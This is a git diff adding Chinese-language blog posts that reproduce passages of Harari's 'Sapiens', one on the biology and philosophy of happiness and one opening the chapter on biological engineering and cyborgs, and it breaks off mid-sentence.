+但很遗憾，虽然我们总是想在人间创造出快乐的天堂，但人体的内部生化系统似乎就是对快乐多有限制，只会维持在恒定的水平。快乐这件事不适用于自然选择的原则，如果是个快乐的孤独隐士，对上两位整天焦虑的爸妈，前者会绝种，而后者却能把基因再传下去。快乐或痛苦在演化过程里的作用，就只在于鼓励或阻挡生存和繁衍。所以也不难想象，人类演化的结果，就是不会太快乐，也不会太痛苦。我们会短暂感受到快感，但不会永远持续。迟早快感会消退，让我们再次感受到痛苦。 +举例来说，演化就把快感当成奖赏，鼓励男性和女性发生性行为、将自己的基因传下去。如果性交没有高潮，大概很多男性就不会那么热衷。但同时，演化也确保高潮得迅速退去。如果性高潮永续不退，可以想象男性会非常开心，但连觅食的动力都没了，最后死于饥饿，而且也不会有兴趣再去找下一位能够繁衍后代的女性。 +有学者认为，人类的生化机制就像是个恒温空调系统，不管是严寒还是酷暑都要想办法保持恒定。虽然遇到某些事件会让温度暂时有波动，但最后总是会控制调整回到原来设定的温度。 +有些空调系统会设定在25℃，也有的会设在20℃。至于人类的快乐空调系统，也是人人设定有所不同。如果说快乐的程度是由1到10分，有些人的生化机制天生开朗，就会允许自己的情绪在6到10分之间来回，大约稳定在8分附近。像这样的人，就算住在一个冷漠的大城市，碰上金融市场崩溃而丧失了所有积蓄，还被诊断患有糖尿病，还是会相当愉快乐观。也有些人，就是倒霉有着天生阴郁的生化机制，情绪在3到7分之间来回，大约稳定在5分附近。像这样的人，就算得到了密切社群的支持，中了几千万的乐透，健康得可以当奥运选手，还是会相当忧郁悲观。事实上，如果是这位天生忧郁的朋友，就算她早上中了几十亿的乐透，中午又同时找到了治愈艾滋病和癌症的方法，下午帮忙让以色列和巴勒斯坦达成和平，晚上又终于和失散多年的孩子团聚，她感受到的快乐程度仍然顶多就是7分而已。不论如何，她的大脑就是没办法让她乐不可支。 +想想你的家人、朋友。是不是有些人，不论发生多糟的事，还是能保持愉快？是不是也有些人，不管得到了多大的恩赐，还是一直郁郁寡欢？我们常认为，只要换个工作、找到老公、买了新车、写完小说，或是付完房贷，做完诸如此类的事，就能让自己快乐得不得了。然而，等我们真正达到这些期望的时候，却没有感觉真的比较快乐。毕竟，买车和写小说并不会改变我们的生化机制。虽然可以有短暂的刺激，但很快就会回到原点。 +* * * +然而，先前的心理学及社会学研究也得出了一些结论（例如平均而言，已婚的人比单身的人更快乐），生物学对此要怎么解释？首先，心理学和社会学的研究只证明了相关性，但是真正的因果方向有可能和研究人员的假设正好相反。确实，已婚的人比单身和离婚的人更快乐，但这不一定代表是婚姻带来了快乐，也有可能是快乐带来了婚姻。或者更准确来说，是血清素、多巴胺和催产素带来并维系了婚姻。那些生化机制天生开朗的人，一般来说都会是快乐和满足的。而这样的人会是比较理想的另一半，所以他们结婚的概率也比较高。而且，和快乐满足的另一半相处，绝对比和郁闷不满的另一半相处来得容易，所以他们也比较不容易离婚。所以，确实已婚的人平均来说比单身的人更快乐，但如果是个生化机制天生忧郁的女生，就算真的找到好老公，也不一定就会比较快乐。 +此外，大多数生物学家也不是完全只看生物这一套。虽然他们主张快乐“主要”是取决于生化机制，但也同意心理学和社会学因素同样有其影响力。毕竟，我们这套快乐空调系统虽然有上下限，但在这个范围里还是可以活动活动。虽然要超出边界的可能性微乎其微，但结婚和离婚却能影响心情在这个范围内的移动方向。那些平均就是只有5分的人，永远不会忽然在大街上开心地跳起舞来。但如果嫁了好老公，就能让她三不五时感受到7分的愉悦，而更能避开3分的沮丧。 +如果我们接受了生物学对于快乐的理论，历史这个学科的重要性就大减；毕竟，大多数的历史事件并不会对我们的生化机制有什么影响。虽然历史可以改变那些影响血清素分泌的外界刺激，但却无法改变最后的浓度，所以也就是无法让人变得更快乐。 +让我们用古代中国农夫和现代香港企业家为例。假设我们这位古代农夫住在没有暖气的小土屋里，旁边就是猪圈；企业家住在拥有各种最新科技的豪宅，窗口就能俯瞰南海的浩瀚海景。直觉上，我们会觉得企业家想必比农民更快乐。然而，快乐是在脑子里决定的，而大脑根本不管土屋或豪宅、猪圈或南海，只管血清素的浓度。所以，农夫盖完了他的土屋之后，大脑神经元分泌血清素，让浓度到达X。而在现代，企业家还完最后一笔豪宅房贷之后，大脑神经元也分泌出差不多数量的血清素，并且也让浓度差不多到达X。对大脑来说，它完全不知道豪宅要比土屋舒适太多，它只知道现在的血清素浓度是X。所以，这位企业家快乐的程度，并不会比那位足以当他高高高高高祖父的农夫来得高。 +不仅对个人生活是如此，就算是众人的事件也不例外。我们以秦朝统一天下为例。秦朝统一天下之后，彻底改变了中国的政治、文化、社会和经济。但这一切都并未改变中国人的生化机制。因此，虽然统一让政治、社会、意识形态和经济都起了翻天覆地的变化，但对于中国人的快乐并没有多大影响。那些生化机制天生开朗的人，不管是活在战国时代，或是秦汉时代，都会一样快乐。但那些生化机制天生忧郁的人，过去总是在抱怨战国诸侯，现在也只是转而抱怨秦朝天子，并不会有什么改变。 +但这么说来，究竟把中国统一有什么好处？如果没办法让人更快乐，又何必要有这么多的混乱、恐惧、流血和战争？像是生物学家就绝对不会攻向巴士底狱。就算有人认为这些政治革命或社会改革会让他们开心，但到头来人们总是一次又一次被生化机制玩弄于股掌。 +历史上，只有一项发展真正有重大意义。现在我们终于意识到，快乐的关键就在于生化系统，因此我们就不用再浪费时间处理政治和社会改革、叛乱和意识形态，而是开始全力研究唯一能真正让我们快乐的方法：操纵人类的生化机制。如果我们投入几十亿美元来了解我们的脑部化学，并推出适当的疗法，我们就能在无须发动任何革命的情况下，让人过得远比以前的人快乐。举例来说，百忧解（Prozac）之所以让人不再沮丧，靠的就不是对任何体制的改革，而只是提高血清素的浓度。 +讲到这套生物学理论，最能抓到精髓的就是著名的新世纪（New Age）口号：“快乐来自内心。”金钱、社会地位、整形手术、豪宅、握有大权的职位，这些都不会给你带来快乐。想要有长期的快乐，只能靠血清素、多巴胺和催产素。112 +1932年，正值经济大萧条的时代，赫胥黎出版了反乌托邦小说《美丽新世界》，书中将“快乐”当成最重要的价值，而且政治的基础不是警方、不是选举，而是精神病的药物。每天，所有人都要服用苏麻（soma，一种合成药物），这能让他们感到快乐，而且不影响生产力和工作。书中的政府是世界一体、统治全球，而且所有人不论生活环境如何，都对这感到无比满足。也因此，政府完全不用担心会爆发战争、革命、罢工或示威游行等威胁。这下，赫胥黎想象中的未来可能还比奥韦尔的《1984》更为棘手。赫胥黎的世界似乎对大多数读者来说都非常可怕，但又很难解释原因。所有人永远都是快乐的，这到底能有什么问题？ +生命的意义 +赫胥黎笔下这个令人毛骨悚然的世界，背后有一项基本生物学假设：“快乐等于快感”。在他看来，快乐就是身体感觉到快感。因为我们的生化机制限制了这些快感的程度和时间，唯一能够让人长时间、高强度感受到快乐的方法，就是操纵这个生化机制。 +然而，这种对于快乐的定义还是受到一些学者质疑。在一项著名的研究中，诺贝尔经济学奖得主丹尼尔·卡尼曼（Daniel Kahneman）请受试者描述自己一般上班日的全天行程，再分段一一评估他们究竟有多喜欢或讨厌这些时刻。他发现，大多数人对生活的看法其实会有所矛盾。让我们以养小孩为例。卡尼曼发现，如果真要计算哪些时刻令人开心，哪些时候叫人无聊，就单纯的数字来说，养小孩可说是非常不愉快的事。很多时候，养小孩就是要换尿布、洗碗、处理他们的哭闹和脾气，这些都算是没人想做的苦差事。然而，大多数家长都说孩子是他们快乐的主要来源。难道这些人都是脑子有问题吗？ + + +当然，这是一种可能。但还有另一种可能：调查结果让我们知道，快乐不只是“愉快的时刻多于痛苦的时刻”这么简单。相反，快乐要看的是某人生命的整体；生命整体有意义、有价值，就能得到快乐。快乐还有重要的认知和道德成分。价值观不同，想法也就可能完全不同，例如有人觉得养小孩就像是个悲惨的奴隶，得侍候一个独裁的小霸王，但也有人觉得自己真是满怀着爱，正在培育一个新的生命。113正如尼采所言，只要有了活下去的理由，几乎什么都能够忍受。生活有意义，就算在困境中也能甘之如饴；生活无意义，就算在顺境中也度日如年。 +不管任何文化、任何时代的人，身体感受快感和痛苦的机制都一样，然而他们对生活经验所赋予的意义却可能大不相同。如果真是如此，快乐的历史很可能远比生物学家想象的要来得动荡不安。这个结论并不一定是站在现代这边。如果我们将生活切成以一分钟为单位来评估当时是否幸福快乐，中世纪的人肯定看来相当悲惨。然而，如果他们相信死后可以得到永恒的祝福，很有可能就会认为生活真是充满了价值和意义；相对而言，现代世俗子民如果不信这一套，就觉得人到最后就只有死亡，迟早会被遗忘，没了任何意义。如果用主观幸福感问卷问道“你对生活整体是否满意”，中世纪的人很可能得分会相当高。 +所以，我们的中世纪祖先会感到快乐，就只是因为他们有着对来世的集体错觉，因而感觉生命充满意义吗？没错！只要没人去戳破他们的幻想，又为什么要不开心呢？从我们所知的纯粹科学角度来看，人类的生命本来就完全没有意义。人类只是在没有特定目标的演化过程中，盲目产生的结果。人类的行动没有什么神圣的整体计划，而且如果整个地球明天早上就爆炸消失，整个宇宙很可能还是一样这么继续运行下去。到目前为止，我们还是不能排除掉人类主观的因素。但这也就是说，我们对生活所赋予的任何意义，其实都只是错觉。不管是中世纪那种超脱凡世的生活意义，或是现代人文主义、民族主义和资本主义，本质上都完全相同，没有高下之别。像是可能有科学家觉得自己增加了人类的知识，所以他的生命有意义；有士兵觉得他保卫自己的国家，所以他的生命有意义。不论是创业者想要开新公司，或是中世纪的人想要读经、参与圣战、兴建新庙，他们从中感受到的意义，都只是错觉与幻想。 +这么说来，所谓的快乐，很可能只是让个人对意义的错觉和现行的集体错觉达成同步而已。只要我自己的想法能和身边的人的想法达成一致，我就能说服自己、觉得自己的生命有意义，而且也能从这个信念中得到快乐。 +这个结论听起来似乎很叫人难过。难道快乐真的就只是种自我的欺骗吗？ +认识你自己 +如果快乐是在于感受快感，想要更快乐，就得操纵我们的生化系统。如果快乐是在于觉得生命有意义，想要更快乐，就得要骗自己骗得更彻底。还有没有第三种可能呢？ +以上两种论点都有一个共同假设：快乐是一种主观感受（不管是感官的快感还是生命有意义），而想要判断快不快乐，靠的就是直接问他们的感受。很多人可能觉得这很合逻辑，但这正是现代自由主义当道而成的结果。自由主义将“个人主观感受”奉若圭臬，认为这些感受正是权威最根本的源头。无论是好坏、美丑、应不应为，都是由每个人的感觉来确定。 +自由主义政治的基本想法，是认为选民个人最知道好坏，我们没有必要由政府老大哥来告诉人民何者为善、何者为恶。自由主义经济学的基本想法，是客户永远是对的。自由主义艺术的基本想法，是各花入各眼，看的人觉得美就是美。自由主义的学校和大学，叫学生要为自己多想想。广告叫我们：“做就对了！”就连动作片、舞台剧、八点档、小说和流行歌，都不断在洗脑着：“忠于自我”、“倾听你自己”、“顺从你的渴望”。对于这种观点，卢梭的说法称得上是经典：“我觉得好的，就是好的。我觉得坏的，就是坏的。” +如果我们从小到大不断被灌输这些口号，就很可能相信快乐是种主观的感受，而是否快乐当然就是每个人自己最清楚。然而，这不过是自由主义独有的一个观点而已。历史上大多数的宗教和意识形态认为，关于善、关于美、关于何事应为，都有客观的标准。在这些宗教和意识形态看来，一般人自己的感觉和偏好可能并不可信。从老子到苏格拉底，哲学家不断告诫人们：“认识你自己！”但言下之意也就是一般人并不知道自己真实的自我，也因此很可能忽略了真正的快乐。弗洛伊德很可能也会这么想。[2] +基督教神学家应该也会同意这种说法。不管是圣保罗或是圣奥古斯丁都心知肚明，如果让人自己选择的话，大多数人都宁愿把时间用来做爱，而不是向上帝祈祷。这种选择绝对是顺从你的渴望，但这意思是想要快乐就该去做爱吗？圣保罗和圣奥古斯丁可绝对不会这么说。对他们而言，这只证明了人类本来就有罪，而且容易受到撒旦的诱惑。从基督教的角度来看，大多数人都多多少少沉溺在类似海洛因成瘾的情境里。假设有个心理学家，想调查吸毒者的快乐指数。经过调查之后，他发现这些吸毒者全部志同道合，所有人都说在吸毒的时候最快乐了。请问这位心理学家是不是该发表一份文件，告诉大家想快乐就该去吸毒？ +除了基督教以外，还有其他人也认为主观感受不该是最大重点。至少在讲到主观感受的价值时，甚至达尔文和英国演化生物学家道金斯（Dawkins）都有部分观点会与圣保罗和圣奥古斯丁相同。根据道金斯《自私的基因》理论，正如同其他动物，人类在自然选择的影响下，就算对个人不利，他们也会选择要让基因继续流传下去。大多数男性一生劳苦、终日烦忧、竞争激烈、需要不断战斗，就是没办法享受一下平静的幸福；但这是因为DNA操纵着他们，要他们为它自私的目的做牛做马。DNA就像撒旦，用一些稍纵即逝的快乐作为引诱，令人为之臣服。 +正因如此，大多数宗教和哲学看待快乐的方式，都与自由主义非常不同。114最看重快乐这个问题的，就是佛教。两千五百多年来，佛教有系统地研究了快乐的本质和成因；正因如此，最近有越来越多科学团体开始研究佛教哲学和冥想。佛教认为，快乐既不是主观感受到愉悦，也不是主观觉得生命有意义，反而是在于放下追求主观感受这件事。 +根据佛教的观点，大多数人太看重自己的感受，以为快感就是快乐，不愉悦的感受就是受苦。于是，人类就渴望能有快感，并希望避免不愉悦的感受。然而，这是大大的误解。事实是，人类的主观感受没有任何实质或意义。主观感受就只是一种电光石火的波动，每个瞬间都在改变，就像海浪一样。不论你感受到的是快感或不快，觉得生命是否有着意义，这都只是一瞬间的波动而已。 +如果我们太看重这些内部的波动，就会变得太过执迷，心灵也就焦躁不安、感到不满。每次碰上不快，就感觉受苦。而且就算已经得到快感，因为我们还希望快感能够增强或是害怕快感将会减弱，所以心里还是不能感到满足。追求这些主观感受十分耗费心神，而且终是徒劳，只是让我们受制于追求本身。因此，苦的根源既不在于感到悲伤或疼痛，也不在于感觉一切没有意义。苦真正的根源就在于“追求”主观感受这件事，不管追求的是什么，都会让人陷入持续的紧张、困惑和不满之中。 +人想要离苦得乐，就必须了解自己所有的主观感受都只是一瞬间的波动，而且别再追求某种感受。如此一来，虽然感受疼痛，但不再感到悲惨；虽然愉悦，但不再干扰心灵的平静。于是，心灵变得一片澄明、自在。这样产生的心灵平静力量强大，那些穷极一生疯狂追求愉悦心情的人完全难以想象。这就像是有人已经在海滩上站了数十年，总是想抓住“好的海浪”，让这些海浪永远留下来，同时又想躲开某些“坏的海浪”，希望这些海浪永远别靠近。就这样一天又一天，这个人站在海滩上徒劳无功，被自己累得几近发疯。最后终于气力用尽，瘫坐在海滩上，让海浪就这样自由来去。忽然发现，这样多么平静啊！ +这种想法与现代自由主义的文化完全格格不入，所以等到西方的新世纪运动碰上佛教教义，就想用自由主义的方式加以解释，结果意思却是完全相反。新时代教派常常主张：“快乐不在于外在条件，而只在于我们内心的感受。我们应该别再追求像是财富、地位之类的外在成就，而是要多接触自己内心的情感。”或者说得简单一点，就是“快乐来自内心”。这与生物学家的说法不谋而合，但与佛教的说法几乎正是背道而驰。 +佛教与现代生物学和新世纪运动的相同点，在于都认定快乐不在于外在条件。但佛教更重要也更深刻的见解在于，真正的快乐也不在于我们的主观感受。我们如果越强调主观感受，反而就越感到苦。佛教给我们的建议是，除了别再追求外在成就之外，同时也别再追求那些感觉良好的心里感受了。 +* * * +总结来说，我们现在会使用主观幸福感问卷，希望找出来我们主观认定什么时候有幸福感，而且认为找到特定的情绪状态就是找到了快乐。但相反的是，许多传统哲学和宗教（如佛教）则认为，快乐的关键在于追求真我、真正了解自己。大多数人都以为自己的感觉、想法、好恶就组成了自己，但这是一大错误。他们感觉愤怒的时候，心里想“我很生气，这是我的愤怒”。于是这一辈子做的，都是想要避开某些感受并追求另外某些感受。但他们从来没有发现，苦真正的来源不在于感受本身，而是对感受的不断追求。 +如果真是如此，我们过去对于快乐这件事的历史认知，就有可能都是错的。或许，究竟期望是否得到满足、感受是否快活都不是重点，真正重要的问题在于人类是否了解自己。我们有什么证据，证明今天的人比起远古的采集者或中世纪的农民更了解自己呢？ +学者一直到几年前才开始研究快乐这件事的历史，而且现在还停留在最初的阶段，正在做出初步的假设、寻找适当的研究方法。这场讨论才刚刚起步，要得出确切的结论还为时过早。最重要的，是要了解各种不同的研究方法，并且提出正确的问题。 +大多数的历史书籍强调的都是伟大的思想家、英勇的战士、慈爱的圣人，以及创造力丰沛的艺术家。这些书籍对于社会结构的建立和瓦解、帝国的兴衰、科技的发明和传播，可说是知无不言、言无不尽。但对于这一切究竟怎么为个人带来快乐或造成痛苦，却是只字未提。这是我们对于历史理解的最大空白之处。而且，现在该是补上的时候了。 +[2]　心理学要研究主观幸福感，靠的是受试者要能够正确判断自己的快乐程度；但矛盾的是，之所以会出现心理学，正是因为人类并不正真了解自己，有时候需要靠着专业人士的帮助，以避免自我毁灭的行为。 diff --git a/_posts/2017-01-06-212-sapiens-cp20.md b/_posts/2017-01-06-212-sapiens-cp20.md new file mode 100644 index 0000000..bb1a2a5 --- /dev/null +++ b/_posts/2017-01-06-212-sapiens-cp20.md @@ -0,0 +1,82 @@ +--- +layout: post +title: 第二十章智人末日 +pid: 212 +tags: [人类简史：从动物到上帝] +--- +第二十章 +智人末日 +本书一开始，提到我们是从物理学走向化学、走向生物学，然后走向历史学。而无论是物理作用、化学反应，或是生物的自然选择，都对智人和其他一切生物一视同仁、殊无二致。虽然说在自然选择这一块，智人的发挥空间似乎远大于其他生物，但毕竟仍然有限。换句话说，不论智人付出了多少努力，有了多少成就，还是没办法打破生物因素的限制。 +然而，就在21世纪曙光乍现之时，情况已经有所改变：智人开始超越了这些界限。自然选择的法则开始被打破，而由智慧设计（intelligent design）法则取而代之。 +在将近40亿年的时间里，地球上每一种生物的演化都是依循着自然选择的法则。没有任何一种是由某个具有智慧的创造者所设计的。以长颈鹿为例，它的长颈是因为远古时代长颈鹿原型之间的竞争，而不是因为有某个具有超级智慧的生物所操控。在长颈鹿原型之间，脖子较长的就能够得到更多食物，相较于脖子短的，也就产下较多后代。没有人（肯定也没有长颈鹿）曾经说过：“如果有比较长的脖子，就能让长颈鹿吃到树顶上更多叶子。所以我们就让脖子变长吧！”达尔文理论美妙的地方，就是并不需要有某位智慧过人的设计者来解释为什么长颈鹿会有长脖子。 +数十亿年来，因为我们根本没有足以设计生物的智能水平，所以智能设计甚至从来都不是选项之一。一直到相对不久之前，微生物都是地球上唯一的生物，而且能够完成某些神奇的任务。属于某个物种的微生物，可以从完全不同的物种中取得基因码、加入自己的细胞中，从而取得新的能力，例如对抗生素产生抗药性。然而，至少就我们所知，微生物并没有意识，它们没有生活目标，也不会未雨绸缪、为将来做准备。 +演化到某个阶段之后，像是长颈鹿、海豚、黑猩猩和尼安德特人都已经有了意识，也有了为将来做准备的能力。然而，就算尼安德特人曾经有过这个梦想，希望鸡可以长得肥一些，动得慢一点，好让他饿的时候抓起来方便，他也无法把梦想化为现实。他还是只能乖乖去打猎，猎捕那些经过物竞天择发展成现在这个样子的鸟类。 +大约1万年前，因为出现了农业革命，让古老的系统首次有了突破。那些还是希望鸡能够又肥又慢的智人，发现如果找出长得最肥的母鸡，再把它与动得最慢的公鸡交配，生出来的后代就会又肥又慢。这些生下来的后代再继续互相交配，后代的鸡就都具有又肥又慢的特点。这是一种原本不存在于自然界的鸡，之所以经过这样的智慧设计而出现，是因为人而不是神。 +不过，与所谓全能的神相比，智人的设计技术还差得远了。虽然智人可以通过选择育种（selective breeding）来走快捷方式，加速自然选择的进程，但如果想要加入的特性并不存在于野生鸡的基因库里，就仍然无能为力。在某种程度上，智人与鸡之间的关系，就和一般常见而自然的共生关系十分相似。智人等于是对鸡施予了特定的选择压力，让又肥又慢的鸡特别能够繁衍下来；就像是蜜蜂采蜜授粉的时候也是对植物施予了选择压力，让花朵色彩鲜艳的品种更能生生不息。 +时至今日，这个40亿岁的自然选择系统却面临了一项完全不同的挑战。在全球各地的实验室里，科学家正在改造各种生物。他们打破自然选择的法则而丝毫未受惩罚，就连生物最基本的原始特征也完全不看在眼里。巴西生物艺术家爱德华多·卡茨（Eduardo Kac）就在2000年推出了一项新艺术作品：一只发着荧光绿的兔子。卡茨找上法国的一间实验室，付费请求依他的要求改造出一只会发光的兔子。法国科学家于是拿了一个普通的兔子胚胎，再植入由绿色荧光水母取得的DNA。当当当当！绿色荧光兔隆重登场。卡茨将这只兔子命名为阿巴（Alba）。 +如果只有自然选择，阿巴根本不可能存在。她就是智能设计下的产物。同时，她也可说是一个预兆。阿巴的出现其实代表着一股潜力，如果这股潜力完全发挥（而且人类没有因此灭亡），科学革命很可能就远远不只是历史学上的一场革命而已。这很可能会成为地球出现以来最重要的生物学革命。经过40亿年的自然选择之后，阿巴可说是站在新时代曙光乍现的时间点，生命即将改由智能设计来操控。如果这种可能性终于成真，事后看来，到这之前为止的人类历史就能够有新的诠释：这就是一个实验和实习的过程，最后是要彻底改变生命的游戏规则。像这样的过程，我们不能只看人类的几千年，而要看整体的几十亿年。 +全世界的生物学家现在都正在与智能设计这场风潮相对抗。智慧设计反对所有我们在学校里学到的达尔文演化论，而且认为既然生物如此复杂各异，想必是有某个创造者，从一开始就想好了所有的生物细节。生物学家说对了过去，但讽刺的是，讲到未来，有可能智能设计才是对的。 +本书写到这里的时候，有三种方式可能让智慧设计取代自然选择：生物工程（biological engineering）、仿生工程（cyborg engineering）与无机生命（inorganic life）工程。 +老鼠和人 +所谓生物工程，指的是人类刻意在生物层次进行的干预行为（例如植入基因），目的在于改变生物体的外形、能力、需求或欲望，以实现某些预设的文化概念（例如爱德华多·卡茨心中的那种艺术）。 +到目前为止，生物工程本身并不算是什么新的概念。人们数千年来一直使用生物工程来重新塑造自己和其他生物。一个简单的例子是阉割。在英文里，未阉割的公牛称为“bull”，阉割后的称为“ox”，这种将牛阉割的做法已经有大约一万年之久，阉割后的牛比较不具侵略性，也就比较容易训练拉犁。此外，也有一些年轻男性被阉割，好培养出可唱出女高音优美声调的假声男高音，或是能够协助宫廷事务的太监。 +然而，人类最近对生物体运作的研究有长足进展，已经达到细胞、细胞核的水平，也出现了许多过去难以想象的可能性。举例来说，我们现在不只能够将男性阉割，甚至还能通过外科手术和注射荷尔蒙，完全改变他们的性别。这还只是开始。 +在1996年，下面这张照片出现在报纸和电视上，各方反应不一，有人惊喜，有人恶心，有人完全吓傻了。 +这并不是改图修图的假照片，而是千真万确的一只真的老鼠，背上被科学家植入牛软骨细胞。因为科学家能够控制新组织生长，就能让它长出人类耳朵的形状。也许在不久之后，科学家就能用这种方式制造出能植入人体的人工耳。115 +图27 在这只老鼠背上，科学家用牛软骨细胞让它长出一只“耳朵”。这可以说是以一种怪诞的方式响应着施泰德洞穴里的狮人雕像。在3万年前，人类就已经有了想要结合不同物种的幻想，而今天我们真的有能力制造出这种嵌合体了（chimera，指由两个以上不同遗传结构的组织组成的个体或器官）。 +此外，基因工程更是能做到一些几近奇迹的事，也因此引发了一系列的伦理、政治和意识形态议题。而且，并不是只有虔诚的一神教信徒指责人类不该抢了上帝的角色。对于科学家这种干预自然事务的做法，有许多坚定的无神论者也同样大感震惊。动物权利保护团体谴责这种基因工程实验，认为这不但造成实验动物的痛苦，而且改造时也完全无视家禽家畜的需求和欲望。人权保护团体也担心，基因工程可能被用来创造某种超人类，结果就是其他人都成了他的奴隶。另外也早有人预期将会出现生物独裁统治的末日场景，用复制的方式制造出不懂得恐惧为何物的士兵，不知道反抗是什么概念的工人。许多人都认为，现在人类太快看到太多的机会，手中已经握有基因修改能力，却还无法做出明智、有远见的决定。 +结果就是，我们现在只发挥了基因工程一小部分的能力。现在改造的大多数生物，都是那些最没有政治利害关系的物种，像是植物、真菌、细菌、昆虫等等。举例来说，大肠杆菌是一种共生在人体肠道里的细菌，只有在它跑出了肠道、造成致命感染的时候，大家才会在报纸上看到它们造成的消息。而现在大肠杆菌就经过基因工程改造，用来生产生质燃料。116大肠杆菌和其他几种真菌也经过改造来生产胰岛素，期望能降低糖尿病的治疗费用。117现在我们也取出某种北极鱼类的基因，植入马铃薯的基因，好让马铃薯更耐寒。118 +少数哺乳动物也正在接受基因工程改造。奶农业一直得要面对乳腺炎这项大敌，每年奶牛因此无法产奶的损失高达数十亿美元。科学家目前正在尝试将奶牛基因改造，让牛奶里含有溶葡萄球菌酶（lysostaphin），能够攻击造成乳腺炎的细菌。119另外，最近健康意识抬头，消费者不希望从火腿和培根吃到太多不健康脂肪，养猪业最近正在期待一种植入了蠕虫基因的猪，这种基因能够让猪的脂肪酸从不健康的omega-6脂肪酸转为健康的omega-3脂肪酸。120 + +真正走到下一代基因工程之后，这种让猪有健康脂肪的改造就只能算是小菜一碟罢了。现在，遗传基因学家已经成功将蠕虫的平均寿命延长6倍，也已经创造出某种天才老鼠，在记忆和学习能力上大有长进。121田鼠是一种小型、粗壮的啮齿类动物，很像老鼠，而且大多数品种的习性都是杂交。然而，却有一种品种有忠贞的一夫一妻关系。遗传基因学家声称已经找出了这种形成田鼠一夫一妻制的基因。只要加上这个基因，就能让田鼠从爱偷吃变成爱顾家，我们的基因改造能力就不仅能改变啮齿动物的个体能力，甚至有可能改变它们的社会结构。（而且，是不是人类也能如法炮制？）122 +让尼安德特人再现 +然而，遗传基因学家想改造的还不只是现有的生物，甚至也想让已绝种的动物再现身影。而且对象还不只是像电影《侏罗纪公园》演的恐龙。从西伯利亚冰层里挖掘出长毛象遗体之后，由俄罗斯、日本和韩国组成的科学家团队最近已经完成长毛象的基因定序。他们正在计划要拿一个现代大象的受精卵细胞，将大象的DNA换成长毛象DNA，再重新植回大象的子宫。只要再经过大约22个月，长毛象就能在绝迹近5000年后再次重现于地球。123 +然而，又为什么要画地自限，只做长毛象呢？哈佛大学的乔治·丘奇（George Church）教授最近指出，完成尼安德特人基因组计划（Neanderthal Genome Project）之后，我们就将能在智人的卵子里重建尼安德特人的DNA，在3万年后再次诞生一个尼安德特人的小孩。丘奇表示，只要给他少少的3亿美元预算，这就可能成真。而且已经有几位女性自愿担任代理孕母。124 +我们为什么需要让尼安德特人再现？有些人认为，如果我们能研究活生生的尼安德特人，就能解决某些关于智人起源和独特性最难解的问题。只要能比较尼安德特人和智人的大脑，找出两者不同之处，或许我们就能知道有什么生物上的变化让我们产生了现在的意识。而且，有人认为这也有伦理道德上的理由：如果是智人造成了尼安德特人灭绝，岂不该负责把他们救回来？此外，有尼安德特人这种人种也可能很好用。许多产业可能很高兴，因为两个智人才能做的粗活，尼安德特人一个就能搞定。 +然而，又为什么要画地自限，只做尼安德特人呢？为什么不回到最初上帝的那块画板，直接设计出更完美的智人？智人的种种能力、需求和欲望都根源于智人的基因，而且智人的基因组其实并不比田鼠或老鼠复杂太多。（老鼠的基因组有大约25亿个核碱基，智人约有29亿个，也就是说智人只比老鼠复杂了14%。）125在基因工程的中程发展（或许就是几十年内），基因工程和其他各种生物工程可能有办法带来影响深远的改变，不仅能够改变人类的生理、免疫系统和寿命长短，甚至能改变人类的智力和情感能力。如果基因工程可以创造出天才老鼠，为什么不创造天才的人呢？如果基因工程可以让两只田鼠长相厮守，何不让人类也是天生彼此忠贞不贰？ +认知革命后，智人从几乎微不足道的猿类变成了世界的主人。然而智人的生理并没有什么改变，甚至连大脑的容量和外形也和过去几乎相同。可见这只是大脑内部几个小小的调整罢了。也或许，只要再有某个小小的调整，就会引发第二次的认知革命，建立一种全新的意识，让智人再次改头换面、彻底不同。 +虽然我们目前确实还无法创造出超人类，但看来前方的路上也没有什么绝对无法克服的科技障碍。现在真正让人类研究放慢脚步的原因，在于伦理和政治上的争议。然而，不管现在的伦理论点如何有说服力，未来的发展似乎势不可当；特别是这有可能让我们无限延长人类生命、解决各种疑难杂症，以及强化人类认知和情感上的能力。 +举例来说，如果我们本来只是想治疗阿兹海默症，但发现药物的副作用是大幅增进一般健康民众的记忆力，又该如何？这种研究挡得住吗？而等到药物开发生产之后，会有哪个执法机关能够规定仅得用于治疗阿兹海默症，一般人不得用以取得超级记忆力？ +我们现在还不知道生物工程是不是真能让尼安德特人再现，但这很可能将为智人拉下终幕。操纵基因并不一定会让智人大批死亡而绝种，但很可能会让智人这个物种大幅改变，到最后就成了另一个物种，而不宜再使用智人这个名称。 +仿生的生命 +现在再来谈第二种可能改变生命法则的新科技：仿生工程。仿生工程结合有机和无机组织，创造出“生化人”（cyborg），例如为人类装上生化手就是一例。从某种意义上，现代所有人几乎多多少少都是生化人，用各种其他设备来辅助我们的感官和能力，像是眼镜、心脏起搏器、辅具，甚至还包括计算机和手机（这样一来就能减轻一些大脑要储存及处理数据的负担）。但我们正要迈入一个要成为真正生化人的门槛，真正让一些无机组织与身体结合而不再分开，而会改变我们的能力、欲望、个性以及身份认同。 +美国国防先进研究计划署（Defense Advanced Research Projects Agency）是美国官方的军事研究机构，正在研究仿生昆虫。这里的概念是在苍蝇或蟑螂身上植入电子芯片，让人或机器从远程遥控昆虫的动作，并取得昆虫接收到的外界信息。这样的间谍苍蝇就能潜入敌人总部，停在墙上窃听最机密的谈话，只要别被蜘蛛抓走，就能让我们完全掌握敌人的计划。126在2006年，美国海军水下作战中心（Naval Undersea Warfare Center）也曾提出计划研发仿生鲨鱼，表示“本中心正研发一种鱼用标签，希望通过神经植入物控制宿主动物的行为”。鲨鱼天生就能够侦测到磁场，效果比目前所有人类发明的侦测器都灵敏，因此研发人员希望利用它们的这种能力，侦测到潜艇和水雷形成的电磁场。127 +智人也正在变成生化人。最新一代的助听器有时也会称为“生化耳”，外侧有一个麦克风，可以吸收外界声音，经过过滤、识别出人声，转化成电波信号，直接传递到中央听觉神经，再传送到大脑中。128 +德国的“Retina Implant”（视网膜植入）公司取得政府资金，正在开发一种人工视网膜，可能让盲人重获部分视力。它的做法是将一个微芯片植入患者眼中，光感应器吸收进入眼中的光线，将光能转为电能，刺激视网膜上未受损的神经细胞。细胞发出神经冲动刺激大脑，就会转译为视觉影像。目前，这项科技已经让患者能够进行空间定位、读识字母，甚至也能够辨识人脸。129 +在2001年，美国一位水电工杰西·沙利文因为事故而让双臂从肩膀以下截肢。但今天在芝加哥复健研究中心（Rehabilitation Institute of 